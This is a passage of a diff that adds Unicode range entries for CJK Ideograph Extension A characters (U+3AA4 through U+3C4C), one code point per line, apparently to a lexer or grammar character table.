+ ["\u3AA4", "\u3AA4"], /* CJK Ideograph Extension A */
+ ["\u3AA5", "\u3AA5"], /* CJK Ideograph Extension A */
+ ["\u3AA6", "\u3AA6"], /* CJK Ideograph Extension A */
+ ["\u3AA7", "\u3AA7"], /* CJK Ideograph Extension A */
+ ["\u3AA8", "\u3AA8"], /* CJK Ideograph Extension A */
+ ["\u3AA9", "\u3AA9"], /* CJK Ideograph Extension A */
+ ["\u3AAA", "\u3AAA"], /* CJK Ideograph Extension A */
+ ["\u3AAB", "\u3AAB"], /* CJK Ideograph Extension A */
+ ["\u3AAC", "\u3AAC"], /* CJK Ideograph Extension A */
+ ["\u3AAD", "\u3AAD"], /* CJK Ideograph Extension A */
+ ["\u3AAE", "\u3AAE"], /* CJK Ideograph Extension A */
+ ["\u3AAF", "\u3AAF"], /* CJK Ideograph Extension A */
+ ["\u3AB0", "\u3AB0"], /* CJK Ideograph Extension A */
+ ["\u3AB1", "\u3AB1"], /* CJK Ideograph Extension A */
+ ["\u3AB2", "\u3AB2"], /* CJK Ideograph Extension A */
+ ["\u3AB3", "\u3AB3"], /* CJK Ideograph Extension A */
+ ["\u3AB4", "\u3AB4"], /* CJK Ideograph Extension A */
+ ["\u3AB5", "\u3AB5"], /* CJK Ideograph Extension A */
+ ["\u3AB6", "\u3AB6"], /* CJK Ideograph Extension A */
+ ["\u3AB7", "\u3AB7"], /* CJK Ideograph Extension A */
+ ["\u3AB8", "\u3AB8"], /* CJK Ideograph Extension A */
+ ["\u3AB9", "\u3AB9"], /* CJK Ideograph Extension A */
+ ["\u3ABA", "\u3ABA"], /* CJK Ideograph Extension A */
+ ["\u3ABB", "\u3ABB"], /* CJK Ideograph Extension A */
+ ["\u3ABC", "\u3ABC"], /* CJK Ideograph Extension A */
+ ["\u3ABD", "\u3ABD"], /* CJK Ideograph Extension A */
+ ["\u3ABE", "\u3ABE"], /* CJK Ideograph Extension A */
+ ["\u3ABF", "\u3ABF"], /* CJK Ideograph Extension A */
+ ["\u3AC0", "\u3AC0"], /* CJK Ideograph Extension A */
+ ["\u3AC1", "\u3AC1"], /* CJK Ideograph Extension A */
+ ["\u3AC2", "\u3AC2"], /* CJK Ideograph Extension A */
+ ["\u3AC3", "\u3AC3"], /* CJK Ideograph Extension A */
+ ["\u3AC4", "\u3AC4"], /* CJK Ideograph Extension A */
+ ["\u3AC5", "\u3AC5"], /* CJK Ideograph Extension A */
+ ["\u3AC6", "\u3AC6"], /* CJK Ideograph Extension A */
+ ["\u3AC7", "\u3AC7"], /* CJK Ideograph Extension A */
+ ["\u3AC8", "\u3AC8"], /* CJK Ideograph Extension A */
+ ["\u3AC9", "\u3AC9"], /* CJK Ideograph Extension A */
+ ["\u3ACA", "\u3ACA"], /* CJK Ideograph Extension A */
+ ["\u3ACB", "\u3ACB"], /* CJK Ideograph Extension A */
+ ["\u3ACC", "\u3ACC"], /* CJK Ideograph Extension A */
+ ["\u3ACD", "\u3ACD"], /* CJK Ideograph Extension A */
+ ["\u3ACE", "\u3ACE"], /* CJK Ideograph Extension A */
+ ["\u3ACF", "\u3ACF"], /* CJK Ideograph Extension A */
+ ["\u3AD0", "\u3AD0"], /* CJK Ideograph Extension A */
+ ["\u3AD1", "\u3AD1"], /* CJK Ideograph Extension A */
+ ["\u3AD2", "\u3AD2"], /* CJK Ideograph Extension A */
+ ["\u3AD3", "\u3AD3"], /* CJK Ideograph Extension A */
+ ["\u3AD4", "\u3AD4"], /* CJK Ideograph Extension A */
+ ["\u3AD5", "\u3AD5"], /* CJK Ideograph Extension A */
+ ["\u3AD6", "\u3AD6"], /* CJK Ideograph Extension A */
+ ["\u3AD7", "\u3AD7"], /* CJK Ideograph Extension A */
+ ["\u3AD8", "\u3AD8"], /* CJK Ideograph Extension A */
+ ["\u3AD9", "\u3AD9"], /* CJK Ideograph Extension A */
+ ["\u3ADA", "\u3ADA"], /* CJK Ideograph Extension A */
+ ["\u3ADB", "\u3ADB"], /* CJK Ideograph Extension A */
+ ["\u3ADC", "\u3ADC"], /* CJK Ideograph Extension A */
+ ["\u3ADD", "\u3ADD"], /* CJK Ideograph Extension A */
+ ["\u3ADE", "\u3ADE"], /* CJK Ideograph Extension A */
+ ["\u3ADF", "\u3ADF"], /* CJK Ideograph Extension A */
+ ["\u3AE0", "\u3AE0"], /* CJK Ideograph Extension A */
+ ["\u3AE1", "\u3AE1"], /* CJK Ideograph Extension A */
+ ["\u3AE2", "\u3AE2"], /* CJK Ideograph Extension A */
+ ["\u3AE3", "\u3AE3"], /* CJK Ideograph Extension A */
+ ["\u3AE4", "\u3AE4"], /* CJK Ideograph Extension A */
+ ["\u3AE5", "\u3AE5"], /* CJK Ideograph Extension A */
+ ["\u3AE6", "\u3AE6"], /* CJK Ideograph Extension A */
+ ["\u3AE7", "\u3AE7"], /* CJK Ideograph Extension A */
+ ["\u3AE8", "\u3AE8"], /* CJK Ideograph Extension A */
+ ["\u3AE9", "\u3AE9"], /* CJK Ideograph Extension A */
+ ["\u3AEA", "\u3AEA"], /* CJK Ideograph Extension A */
+ ["\u3AEB", "\u3AEB"], /* CJK Ideograph Extension A */
+ ["\u3AEC", "\u3AEC"], /* CJK Ideograph Extension A */
+ ["\u3AED", "\u3AED"], /* CJK Ideograph Extension A */
+ ["\u3AEE", "\u3AEE"], /* CJK Ideograph Extension A */
+ ["\u3AEF", "\u3AEF"], /* CJK Ideograph Extension A */
+ ["\u3AF0", "\u3AF0"], /* CJK Ideograph Extension A */
+ ["\u3AF1", "\u3AF1"], /* CJK Ideograph Extension A */
+ ["\u3AF2", "\u3AF2"], /* CJK Ideograph Extension A */
+ ["\u3AF3", "\u3AF3"], /* CJK Ideograph Extension A */
+ ["\u3AF4", "\u3AF4"], /* CJK Ideograph Extension A */
+ ["\u3AF5", "\u3AF5"], /* CJK Ideograph Extension A */
+ ["\u3AF6", "\u3AF6"], /* CJK Ideograph Extension A */
+ ["\u3AF7", "\u3AF7"], /* CJK Ideograph Extension A */
+ ["\u3AF8", "\u3AF8"], /* CJK Ideograph Extension A */
+ ["\u3AF9", "\u3AF9"], /* CJK Ideograph Extension A */
+ ["\u3AFA", "\u3AFA"], /* CJK Ideograph Extension A */
+ ["\u3AFB", "\u3AFB"], /* CJK Ideograph Extension A */
+ ["\u3AFC", "\u3AFC"], /* CJK Ideograph Extension A */
+ ["\u3AFD", "\u3AFD"], /* CJK Ideograph Extension A */
+ ["\u3AFE", "\u3AFE"], /* CJK Ideograph Extension A */
+ ["\u3AFF", "\u3AFF"], /* CJK Ideograph Extension A */
+ ["\u3B00", "\u3B00"], /* CJK Ideograph Extension A */
+ ["\u3B01", "\u3B01"], /* CJK Ideograph Extension A */
+ ["\u3B02", "\u3B02"], /* CJK Ideograph Extension A */
+ ["\u3B03", "\u3B03"], /* CJK Ideograph Extension A */
+ ["\u3B04", "\u3B04"], /* CJK Ideograph Extension A */
+ ["\u3B05", "\u3B05"], /* CJK Ideograph Extension A */
+ ["\u3B06", "\u3B06"], /* CJK Ideograph Extension A */
+ ["\u3B07", "\u3B07"], /* CJK Ideograph Extension A */
+ ["\u3B08", "\u3B08"], /* CJK Ideograph Extension A */
+ ["\u3B09", "\u3B09"], /* CJK Ideograph Extension A */
+ ["\u3B0A", "\u3B0A"], /* CJK Ideograph Extension A */
+ ["\u3B0B", "\u3B0B"], /* CJK Ideograph Extension A */
+ ["\u3B0C", "\u3B0C"], /* CJK Ideograph Extension A */
+ ["\u3B0D", "\u3B0D"], /* CJK Ideograph Extension A */
+ ["\u3B0E", "\u3B0E"], /* CJK Ideograph Extension A */
+ ["\u3B0F", "\u3B0F"], /* CJK Ideograph Extension A */
+ ["\u3B10", "\u3B10"], /* CJK Ideograph Extension A */
+ ["\u3B11", "\u3B11"], /* CJK Ideograph Extension A */
+ ["\u3B12", "\u3B12"], /* CJK Ideograph Extension A */
+ ["\u3B13", "\u3B13"], /* CJK Ideograph Extension A */
+ ["\u3B14", "\u3B14"], /* CJK Ideograph Extension A */
+ ["\u3B15", "\u3B15"], /* CJK Ideograph Extension A */
+ ["\u3B16", "\u3B16"], /* CJK Ideograph Extension A */
+ ["\u3B17", "\u3B17"], /* CJK Ideograph Extension A */
+ ["\u3B18", "\u3B18"], /* CJK Ideograph Extension A */
+ ["\u3B19", "\u3B19"], /* CJK Ideograph Extension A */
+ ["\u3B1A", "\u3B1A"], /* CJK Ideograph Extension A */
+ ["\u3B1B", "\u3B1B"], /* CJK Ideograph Extension A */
+ ["\u3B1C", "\u3B1C"], /* CJK Ideograph Extension A */
+ ["\u3B1D", "\u3B1D"], /* CJK Ideograph Extension A */
+ ["\u3B1E", "\u3B1E"], /* CJK Ideograph Extension A */
+ ["\u3B1F", "\u3B1F"], /* CJK Ideograph Extension A */
+ ["\u3B20", "\u3B20"], /* CJK Ideograph Extension A */
+ ["\u3B21", "\u3B21"], /* CJK Ideograph Extension A */
+ ["\u3B22", "\u3B22"], /* CJK Ideograph Extension A */
+ ["\u3B23", "\u3B23"], /* CJK Ideograph Extension A */
+ ["\u3B24", "\u3B24"], /* CJK Ideograph Extension A */
+ ["\u3B25", "\u3B25"], /* CJK Ideograph Extension A */
+ ["\u3B26", "\u3B26"], /* CJK Ideograph Extension A */
+ ["\u3B27", "\u3B27"], /* CJK Ideograph Extension A */
+ ["\u3B28", "\u3B28"], /* CJK Ideograph Extension A */
+ ["\u3B29", "\u3B29"], /* CJK Ideograph Extension A */
+ ["\u3B2A", "\u3B2A"], /* CJK Ideograph Extension A */
+ ["\u3B2B", "\u3B2B"], /* CJK Ideograph Extension A */
+ ["\u3B2C", "\u3B2C"], /* CJK Ideograph Extension A */
+ ["\u3B2D", "\u3B2D"], /* CJK Ideograph Extension A */
+ ["\u3B2E", "\u3B2E"], /* CJK Ideograph Extension A */
+ ["\u3B2F", "\u3B2F"], /* CJK Ideograph Extension A */
+ ["\u3B30", "\u3B30"], /* CJK Ideograph Extension A */
+ ["\u3B31", "\u3B31"], /* CJK Ideograph Extension A */
+ ["\u3B32", "\u3B32"], /* CJK Ideograph Extension A */
+ ["\u3B33", "\u3B33"], /* CJK Ideograph Extension A */
+ ["\u3B34", "\u3B34"], /* CJK Ideograph Extension A */
+ ["\u3B35", "\u3B35"], /* CJK Ideograph Extension A */
+ ["\u3B36", "\u3B36"], /* CJK Ideograph Extension A */
+ ["\u3B37", "\u3B37"], /* CJK Ideograph Extension A */
+ ["\u3B38", "\u3B38"], /* CJK Ideograph Extension A */
+ ["\u3B39", "\u3B39"], /* CJK Ideograph Extension A */
+ ["\u3B3A", "\u3B3A"], /* CJK Ideograph Extension A */
+ ["\u3B3B", "\u3B3B"], /* CJK Ideograph Extension A */
+ ["\u3B3C", "\u3B3C"], /* CJK Ideograph Extension A */
+ ["\u3B3D", "\u3B3D"], /* CJK Ideograph Extension A */
+ ["\u3B3E", "\u3B3E"], /* CJK Ideograph Extension A */
+ ["\u3B3F", "\u3B3F"], /* CJK Ideograph Extension A */
+ ["\u3B40", "\u3B40"], /* CJK Ideograph Extension A */
+ ["\u3B41", "\u3B41"], /* CJK Ideograph Extension A */
+ ["\u3B42", "\u3B42"], /* CJK Ideograph Extension A */
+ ["\u3B43", "\u3B43"], /* CJK Ideograph Extension A */
+ ["\u3B44", "\u3B44"], /* CJK Ideograph Extension A */
+ ["\u3B45", "\u3B45"], /* CJK Ideograph Extension A */
+ ["\u3B46", "\u3B46"], /* CJK Ideograph Extension A */
+ ["\u3B47", "\u3B47"], /* CJK Ideograph Extension A */
+ ["\u3B48", "\u3B48"], /* CJK Ideograph Extension A */
+ ["\u3B49", "\u3B49"], /* CJK Ideograph Extension A */
+ ["\u3B4A", "\u3B4A"], /* CJK Ideograph Extension A */
+ ["\u3B4B", "\u3B4B"], /* CJK Ideograph Extension A */
+ ["\u3B4C", "\u3B4C"], /* CJK Ideograph Extension A */
+ ["\u3B4D", "\u3B4D"], /* CJK Ideograph Extension A */
+ ["\u3B4E", "\u3B4E"], /* CJK Ideograph Extension A */
+ ["\u3B4F", "\u3B4F"], /* CJK Ideograph Extension A */
+ ["\u3B50", "\u3B50"], /* CJK Ideograph Extension A */
+ ["\u3B51", "\u3B51"], /* CJK Ideograph Extension A */
+ ["\u3B52", "\u3B52"], /* CJK Ideograph Extension A */
+ ["\u3B53", "\u3B53"], /* CJK Ideograph Extension A */
+ ["\u3B54", "\u3B54"], /* CJK Ideograph Extension A */
+ ["\u3B55", "\u3B55"], /* CJK Ideograph Extension A */
+ ["\u3B56", "\u3B56"], /* CJK Ideograph Extension A */
+ ["\u3B57", "\u3B57"], /* CJK Ideograph Extension A */
+ ["\u3B58", "\u3B58"], /* CJK Ideograph Extension A */
+ ["\u3B59", "\u3B59"], /* CJK Ideograph Extension A */
+ ["\u3B5A", "\u3B5A"], /* CJK Ideograph Extension A */
+ ["\u3B5B", "\u3B5B"], /* CJK Ideograph Extension A */
+ ["\u3B5C", "\u3B5C"], /* CJK Ideograph Extension A */
+ ["\u3B5D", "\u3B5D"], /* CJK Ideograph Extension A */
+ ["\u3B5E", "\u3B5E"], /* CJK Ideograph Extension A */
+ ["\u3B5F", "\u3B5F"], /* CJK Ideograph Extension A */
+ ["\u3B60", "\u3B60"], /* CJK Ideograph Extension A */
+ ["\u3B61", "\u3B61"], /* CJK Ideograph Extension A */
+ ["\u3B62", "\u3B62"], /* CJK Ideograph Extension A */
+ ["\u3B63", "\u3B63"], /* CJK Ideograph Extension A */
+ ["\u3B64", "\u3B64"], /* CJK Ideograph Extension A */
+ ["\u3B65", "\u3B65"], /* CJK Ideograph Extension A */
+ ["\u3B66", "\u3B66"], /* CJK Ideograph Extension A */
+ ["\u3B67", "\u3B67"], /* CJK Ideograph Extension A */
+ ["\u3B68", "\u3B68"], /* CJK Ideograph Extension A */
+ ["\u3B69", "\u3B69"], /* CJK Ideograph Extension A */
+ ["\u3B6A", "\u3B6A"], /* CJK Ideograph Extension A */
+ ["\u3B6B", "\u3B6B"], /* CJK Ideograph Extension A */
+ ["\u3B6C", "\u3B6C"], /* CJK Ideograph Extension A */
+ ["\u3B6D", "\u3B6D"], /* CJK Ideograph Extension A */
+ ["\u3B6E", "\u3B6E"], /* CJK Ideograph Extension A */
+ ["\u3B6F", "\u3B6F"], /* CJK Ideograph Extension A */
+ ["\u3B70", "\u3B70"], /* CJK Ideograph Extension A */
+ ["\u3B71", "\u3B71"], /* CJK Ideograph Extension A */
+ ["\u3B72", "\u3B72"], /* CJK Ideograph Extension A */
+ ["\u3B73", "\u3B73"], /* CJK Ideograph Extension A */
+ ["\u3B74", "\u3B74"], /* CJK Ideograph Extension A */
+ ["\u3B75", "\u3B75"], /* CJK Ideograph Extension A */
+ ["\u3B76", "\u3B76"], /* CJK Ideograph Extension A */
+ ["\u3B77", "\u3B77"], /* CJK Ideograph Extension A */
+ ["\u3B78", "\u3B78"], /* CJK Ideograph Extension A */
+ ["\u3B79", "\u3B79"], /* CJK Ideograph Extension A */
+ ["\u3B7A", "\u3B7A"], /* CJK Ideograph Extension A */
+ ["\u3B7B", "\u3B7B"], /* CJK Ideograph Extension A */
+ ["\u3B7C", "\u3B7C"], /* CJK Ideograph Extension A */
+ ["\u3B7D", "\u3B7D"], /* CJK Ideograph Extension A */
+ ["\u3B7E", "\u3B7E"], /* CJK Ideograph Extension A */
+ ["\u3B7F", "\u3B7F"], /* CJK Ideograph Extension A */
+ ["\u3B80", "\u3B80"], /* CJK Ideograph Extension A */
+ ["\u3B81", "\u3B81"], /* CJK Ideograph Extension A */
+ ["\u3B82", "\u3B82"], /* CJK Ideograph Extension A */
+ ["\u3B83", "\u3B83"], /* CJK Ideograph Extension A */
+ ["\u3B84", "\u3B84"], /* CJK Ideograph Extension A */
+ ["\u3B85", "\u3B85"], /* CJK Ideograph Extension A */
+ ["\u3B86", "\u3B86"], /* CJK Ideograph Extension A */
+ ["\u3B87", "\u3B87"], /* CJK Ideograph Extension A */
+ ["\u3B88", "\u3B88"], /* CJK Ideograph Extension A */
+ ["\u3B89", "\u3B89"], /* CJK Ideograph Extension A */
+ ["\u3B8A", "\u3B8A"], /* CJK Ideograph Extension A */
+ ["\u3B8B", "\u3B8B"], /* CJK Ideograph Extension A */
+ ["\u3B8C", "\u3B8C"], /* CJK Ideograph Extension A */
+ ["\u3B8D", "\u3B8D"], /* CJK Ideograph Extension A */
+ ["\u3B8E", "\u3B8E"], /* CJK Ideograph Extension A */
+ ["\u3B8F", "\u3B8F"], /* CJK Ideograph Extension A */
+ ["\u3B90", "\u3B90"], /* CJK Ideograph Extension A */
+ ["\u3B91", "\u3B91"], /* CJK Ideograph Extension A */
+ ["\u3B92", "\u3B92"], /* CJK Ideograph Extension A */
+ ["\u3B93", "\u3B93"], /* CJK Ideograph Extension A */
+ ["\u3B94", "\u3B94"], /* CJK Ideograph Extension A */
+ ["\u3B95", "\u3B95"], /* CJK Ideograph Extension A */
+ ["\u3B96", "\u3B96"], /* CJK Ideograph Extension A */
+ ["\u3B97", "\u3B97"], /* CJK Ideograph Extension A */
+ ["\u3B98", "\u3B98"], /* CJK Ideograph Extension A */
+ ["\u3B99", "\u3B99"], /* CJK Ideograph Extension A */
+ ["\u3B9A", "\u3B9A"], /* CJK Ideograph Extension A */
+ ["\u3B9B", "\u3B9B"], /* CJK Ideograph Extension A */
+ ["\u3B9C", "\u3B9C"], /* CJK Ideograph Extension A */
+ ["\u3B9D", "\u3B9D"], /* CJK Ideograph Extension A */
+ ["\u3B9E", "\u3B9E"], /* CJK Ideograph Extension A */
+ ["\u3B9F", "\u3B9F"], /* CJK Ideograph Extension A */
+ ["\u3BA0", "\u3BA0"], /* CJK Ideograph Extension A */
+ ["\u3BA1", "\u3BA1"], /* CJK Ideograph Extension A */
+ ["\u3BA2", "\u3BA2"], /* CJK Ideograph Extension A */
+ ["\u3BA3", "\u3BA3"], /* CJK Ideograph Extension A */
+ ["\u3BA4", "\u3BA4"], /* CJK Ideograph Extension A */
+ ["\u3BA5", "\u3BA5"], /* CJK Ideograph Extension A */
+ ["\u3BA6", "\u3BA6"], /* CJK Ideograph Extension A */
+ ["\u3BA7", "\u3BA7"], /* CJK Ideograph Extension A */
+ ["\u3BA8", "\u3BA8"], /* CJK Ideograph Extension A */
+ ["\u3BA9", "\u3BA9"], /* CJK Ideograph Extension A */
+ ["\u3BAA", "\u3BAA"], /* CJK Ideograph Extension A */
+ ["\u3BAB", "\u3BAB"], /* CJK Ideograph Extension A */
+ ["\u3BAC", "\u3BAC"], /* CJK Ideograph Extension A */
+ ["\u3BAD", "\u3BAD"], /* CJK Ideograph Extension A */
+ ["\u3BAE", "\u3BAE"], /* CJK Ideograph Extension A */
+ ["\u3BAF", "\u3BAF"], /* CJK Ideograph Extension A */
+ ["\u3BB0", "\u3BB0"], /* CJK Ideograph Extension A */
+ ["\u3BB1", "\u3BB1"], /* CJK Ideograph Extension A */
+ ["\u3BB2", "\u3BB2"], /* CJK Ideograph Extension A */
+ ["\u3BB3", "\u3BB3"], /* CJK Ideograph Extension A */
+ ["\u3BB4", "\u3BB4"], /* CJK Ideograph Extension A */
+ ["\u3BB5", "\u3BB5"], /* CJK Ideograph Extension A */
+ ["\u3BB6", "\u3BB6"], /* CJK Ideograph Extension A */
+ ["\u3BB7", "\u3BB7"], /* CJK Ideograph Extension A */
+ ["\u3BB8", "\u3BB8"], /* CJK Ideograph Extension A */
+ ["\u3BB9", "\u3BB9"], /* CJK Ideograph Extension A */
+ ["\u3BBA", "\u3BBA"], /* CJK Ideograph Extension A */
+ ["\u3BBB", "\u3BBB"], /* CJK Ideograph Extension A */
+ ["\u3BBC", "\u3BBC"], /* CJK Ideograph Extension A */
+ ["\u3BBD", "\u3BBD"], /* CJK Ideograph Extension A */
+ ["\u3BBE", "\u3BBE"], /* CJK Ideograph Extension A */
+ ["\u3BBF", "\u3BBF"], /* CJK Ideograph Extension A */
+ ["\u3BC0", "\u3BC0"], /* CJK Ideograph Extension A */
+ ["\u3BC1", "\u3BC1"], /* CJK Ideograph Extension A */
+ ["\u3BC2", "\u3BC2"], /* CJK Ideograph Extension A */
+ ["\u3BC3", "\u3BC3"], /* CJK Ideograph Extension A */
+ ["\u3BC4", "\u3BC4"], /* CJK Ideograph Extension A */
+ ["\u3BC5", "\u3BC5"], /* CJK Ideograph Extension A */
+ ["\u3BC6", "\u3BC6"], /* CJK Ideograph Extension A */
+ ["\u3BC7", "\u3BC7"], /* CJK Ideograph Extension A */
+ ["\u3BC8", "\u3BC8"], /* CJK Ideograph Extension A */
+ ["\u3BC9", "\u3BC9"], /* CJK Ideograph Extension A */
+ ["\u3BCA", "\u3BCA"], /* CJK Ideograph Extension A */
+ ["\u3BCB", "\u3BCB"], /* CJK Ideograph Extension A */
+ ["\u3BCC", "\u3BCC"], /* CJK Ideograph Extension A */
+ ["\u3BCD", "\u3BCD"], /* CJK Ideograph Extension A */
+ ["\u3BCE", "\u3BCE"], /* CJK Ideograph Extension A */
+ ["\u3BCF", "\u3BCF"], /* CJK Ideograph Extension A */
+ ["\u3BD0", "\u3BD0"], /* CJK Ideograph Extension A */
+ ["\u3BD1", "\u3BD1"], /* CJK Ideograph Extension A */
+ ["\u3BD2", "\u3BD2"], /* CJK Ideograph Extension A */
+ ["\u3BD3", "\u3BD3"], /* CJK Ideograph Extension A */
+ ["\u3BD4", "\u3BD4"], /* CJK Ideograph Extension A */
+ ["\u3BD5", "\u3BD5"], /* CJK Ideograph Extension A */
+ ["\u3BD6", "\u3BD6"], /* CJK Ideograph Extension A */
+ ["\u3BD7", "\u3BD7"], /* CJK Ideograph Extension A */
+ ["\u3BD8", "\u3BD8"], /* CJK Ideograph Extension A */
+ ["\u3BD9", "\u3BD9"], /* CJK Ideograph Extension A */
+ ["\u3BDA", "\u3BDA"], /* CJK Ideograph Extension A */
+ ["\u3BDB", "\u3BDB"], /* CJK Ideograph Extension A */
+ ["\u3BDC", "\u3BDC"], /* CJK Ideograph Extension A */
+ ["\u3BDD", "\u3BDD"], /* CJK Ideograph Extension A */
+ ["\u3BDE", "\u3BDE"], /* CJK Ideograph Extension A */
+ ["\u3BDF", "\u3BDF"], /* CJK Ideograph Extension A */
+ ["\u3BE0", "\u3BE0"], /* CJK Ideograph Extension A */
+ ["\u3BE1", "\u3BE1"], /* CJK Ideograph Extension A */
+ ["\u3BE2", "\u3BE2"], /* CJK Ideograph Extension A */
+ ["\u3BE3", "\u3BE3"], /* CJK Ideograph Extension A */
+ ["\u3BE4", "\u3BE4"], /* CJK Ideograph Extension A */
+ ["\u3BE5", "\u3BE5"], /* CJK Ideograph Extension A */
+ ["\u3BE6", "\u3BE6"], /* CJK Ideograph Extension A */
+ ["\u3BE7", "\u3BE7"], /* CJK Ideograph Extension A */
+ ["\u3BE8", "\u3BE8"], /* CJK Ideograph Extension A */
+ ["\u3BE9", "\u3BE9"], /* CJK Ideograph Extension A */
+ ["\u3BEA", "\u3BEA"], /* CJK Ideograph Extension A */
+ ["\u3BEB", "\u3BEB"], /* CJK Ideograph Extension A */
+ ["\u3BEC", "\u3BEC"], /* CJK Ideograph Extension A */
+ ["\u3BED", "\u3BED"], /* CJK Ideograph Extension A */
+ ["\u3BEE", "\u3BEE"], /* CJK Ideograph Extension A */
+ ["\u3BEF", "\u3BEF"], /* CJK Ideograph Extension A */
+ ["\u3BF0", "\u3BF0"], /* CJK Ideograph Extension A */
+ ["\u3BF1", "\u3BF1"], /* CJK Ideograph Extension A */
+ ["\u3BF2", "\u3BF2"], /* CJK Ideograph Extension A */
+ ["\u3BF3", "\u3BF3"], /* CJK Ideograph Extension A */
+ ["\u3BF4", "\u3BF4"], /* CJK Ideograph Extension A */
+ ["\u3BF5", "\u3BF5"], /* CJK Ideograph Extension A */
+ ["\u3BF6", "\u3BF6"], /* CJK Ideograph Extension A */
+ ["\u3BF7", "\u3BF7"], /* CJK Ideograph Extension A */
+ ["\u3BF8", "\u3BF8"], /* CJK Ideograph Extension A */
+ ["\u3BF9", "\u3BF9"], /* CJK Ideograph Extension A */
+ ["\u3BFA", "\u3BFA"], /* CJK Ideograph Extension A */
+ ["\u3BFB", "\u3BFB"], /* CJK Ideograph Extension A */
+ ["\u3BFC", "\u3BFC"], /* CJK Ideograph Extension A */
+ ["\u3BFD", "\u3BFD"], /* CJK Ideograph Extension A */
+ ["\u3BFE", "\u3BFE"], /* CJK Ideograph Extension A */
+ ["\u3BFF", "\u3BFF"], /* CJK Ideograph Extension A */
+ ["\u3C00", "\u3C00"], /* CJK Ideograph Extension A */
+ ["\u3C01", "\u3C01"], /* CJK Ideograph Extension A */
+ ["\u3C02", "\u3C02"], /* CJK Ideograph Extension A */
+ ["\u3C03", "\u3C03"], /* CJK Ideograph Extension A */
+ ["\u3C04", "\u3C04"], /* CJK Ideograph Extension A */
+ ["\u3C05", "\u3C05"], /* CJK Ideograph Extension A */
+ ["\u3C06", "\u3C06"], /* CJK Ideograph Extension A */
+ ["\u3C07", "\u3C07"], /* CJK Ideograph Extension A */
+ ["\u3C08", "\u3C08"], /* CJK Ideograph Extension A */
+ ["\u3C09", "\u3C09"], /* CJK Ideograph Extension A */
+ ["\u3C0A", "\u3C0A"], /* CJK Ideograph Extension A */
+ ["\u3C0B", "\u3C0B"], /* CJK Ideograph Extension A */
+ ["\u3C0C", "\u3C0C"], /* CJK Ideograph Extension A */
+ ["\u3C0D", "\u3C0D"], /* CJK Ideograph Extension A */
+ ["\u3C0E", "\u3C0E"], /* CJK Ideograph Extension A */
+ ["\u3C0F", "\u3C0F"], /* CJK Ideograph Extension A */
+ ["\u3C10", "\u3C10"], /* CJK Ideograph Extension A */
+ ["\u3C11", "\u3C11"], /* CJK Ideograph Extension A */
+ ["\u3C12", "\u3C12"], /* CJK Ideograph Extension A */
+ ["\u3C13", "\u3C13"], /* CJK Ideograph Extension A */
+ ["\u3C14", "\u3C14"], /* CJK Ideograph Extension A */
+ ["\u3C15", "\u3C15"], /* CJK Ideograph Extension A */
+ ["\u3C16", "\u3C16"], /* CJK Ideograph Extension A */
+ ["\u3C17", "\u3C17"], /* CJK Ideograph Extension A */
+ ["\u3C18", "\u3C18"], /* CJK Ideograph Extension A */
+ ["\u3C19", "\u3C19"], /* CJK Ideograph Extension A */
+ ["\u3C1A", "\u3C1A"], /* CJK Ideograph Extension A */
+ ["\u3C1B", "\u3C1B"], /* CJK Ideograph Extension A */
+ ["\u3C1C", "\u3C1C"], /* CJK Ideograph Extension A */
+ ["\u3C1D", "\u3C1D"], /* CJK Ideograph Extension A */
+ ["\u3C1E", "\u3C1E"], /* CJK Ideograph Extension A */
+ ["\u3C1F", "\u3C1F"], /* CJK Ideograph Extension A */
+ ["\u3C20", "\u3C20"], /* CJK Ideograph Extension A */
+ ["\u3C21", "\u3C21"], /* CJK Ideograph Extension A */
+ ["\u3C22", "\u3C22"], /* CJK Ideograph Extension A */
+ ["\u3C23", "\u3C23"], /* CJK Ideograph Extension A */
+ ["\u3C24", "\u3C24"], /* CJK Ideograph Extension A */
+ ["\u3C25", "\u3C25"], /* CJK Ideograph Extension A */
+ ["\u3C26", "\u3C26"], /* CJK Ideograph Extension A */
+ ["\u3C27", "\u3C27"], /* CJK Ideograph Extension A */
+ ["\u3C28", "\u3C28"], /* CJK Ideograph Extension A */
+ ["\u3C29", "\u3C29"], /* CJK Ideograph Extension A */
+ ["\u3C2A", "\u3C2A"], /* CJK Ideograph Extension A */
+ ["\u3C2B", "\u3C2B"], /* CJK Ideograph Extension A */
+ ["\u3C2C", "\u3C2C"], /* CJK Ideograph Extension A */
+ ["\u3C2D", "\u3C2D"], /* CJK Ideograph Extension A */
+ ["\u3C2E", "\u3C2E"], /* CJK Ideograph Extension A */
+ ["\u3C2F", "\u3C2F"], /* CJK Ideograph Extension A */
+ ["\u3C30", "\u3C30"], /* CJK Ideograph Extension A */
+ ["\u3C31", "\u3C31"], /* CJK Ideograph Extension A */
+ ["\u3C32", "\u3C32"], /* CJK Ideograph Extension A */
+ ["\u3C33", "\u3C33"], /* CJK Ideograph Extension A */
+ ["\u3C34", "\u3C34"], /* CJK Ideograph Extension A */
+ ["\u3C35", "\u3C35"], /* CJK Ideograph Extension A */
+ ["\u3C36", "\u3C36"], /* CJK Ideograph Extension A */
+ ["\u3C37", "\u3C37"], /* CJK Ideograph Extension A */
+ ["\u3C38", "\u3C38"], /* CJK Ideograph Extension A */
+ ["\u3C39", "\u3C39"], /* CJK Ideograph Extension A */
+ ["\u3C3A", "\u3C3A"], /* CJK Ideograph Extension A */
+ ["\u3C3B", "\u3C3B"], /* CJK Ideograph Extension A */
+ ["\u3C3C", "\u3C3C"], /* CJK Ideograph Extension A */
+ ["\u3C3D", "\u3C3D"], /* CJK Ideograph Extension A */
+ ["\u3C3E", "\u3C3E"], /* CJK Ideograph Extension A */
+ ["\u3C3F", "\u3C3F"], /* CJK Ideograph Extension A */
+ ["\u3C40", "\u3C40"], /* CJK Ideograph Extension A */
+ ["\u3C41", "\u3C41"], /* CJK Ideograph Extension A */
+ ["\u3C42", "\u3C42"], /* CJK Ideograph Extension A */
+ ["\u3C43", "\u3C43"], /* CJK Ideograph Extension A */
+ ["\u3C44", "\u3C44"], /* CJK Ideograph Extension A */
+ ["\u3C45", "\u3C45"], /* CJK Ideograph Extension A */
+ ["\u3C46", "\u3C46"], /* CJK Ideograph Extension A */
+ ["\u3C47", "\u3C47"], /* CJK Ideograph Extension A */
+ ["\u3C48", "\u3C48"], /* CJK Ideograph Extension A */
+ ["\u3C49", "\u3C49"], /* CJK Ideograph Extension A */
+ ["\u3C4A", "\u3C4A"], /* CJK Ideograph Extension A */
+ ["\u3C4B", "\u3C4B"], /* CJK Ideograph Extension A */
+ ["\u3C4C", "\u3C4C"], /* CJK Ideograph Extension A */
